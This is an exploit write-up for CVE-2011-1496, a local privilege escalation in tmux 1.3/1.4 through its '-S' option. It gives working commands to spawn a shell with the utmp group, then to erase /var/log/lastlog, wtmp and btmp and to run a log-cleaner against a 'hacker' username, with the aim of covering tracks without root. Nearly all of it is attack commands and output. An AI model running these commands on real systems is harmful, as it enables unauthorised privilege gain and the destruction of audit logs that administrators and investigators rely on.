tmux 1.3/1.4 - '-S' Option Incorrect SetGID Privilege Escalation

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| tmux -S 1.3/1.4 local utmp exploit  |

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# Exploit Title: tmux '-S' Option Incorrect SetGID Local Privilege Escalation Vulnerability

# Date: 11.04.2011

# Author: ph0x90bic

# Software Link: http://tmux.sourceforge.net/

# Version: 1.3/1.4

# Tested on: Linux debian 2.6.26-1-686

# CVE : CVE-2011-1496



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INTRODUCTION



tmux 1.3/1.4 contains a privilege escalation vulnerabillity,

which gives you utmp group privileges. This bug is important,

because it is possible to clean logfiles and use logcleaners

for btmp, wtmp and lastlog without local root access.



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EXPLOIT



Execute shell as utmp group



$ tmux -S /tmp/.whateveryouwant -c id

uid=1001(company) gid=1001(company) egid=43(utmp), groups=1001(company)



$ tmux -S /tmp/.whateveryouwant -c /bin/sh

$ id

uid=1001(company) gid=1001(company) egid=43(utmp), groups=1001(company)



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Delete logfiles



$ tmux -S /tmp/.whateveryouwant -c '> /var/log/lastlog'

$ tmux -S /tmp/.whateveryouwant -c '> /var/log/wtmp'

$ tmux -S /tmp/.whateveryouwant -c '> /var/log/btmp'



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Use logcleaner software



$ tmux -S /tmp/.whateveryouwant -c /tmp/thcclear13/cleara hacker-username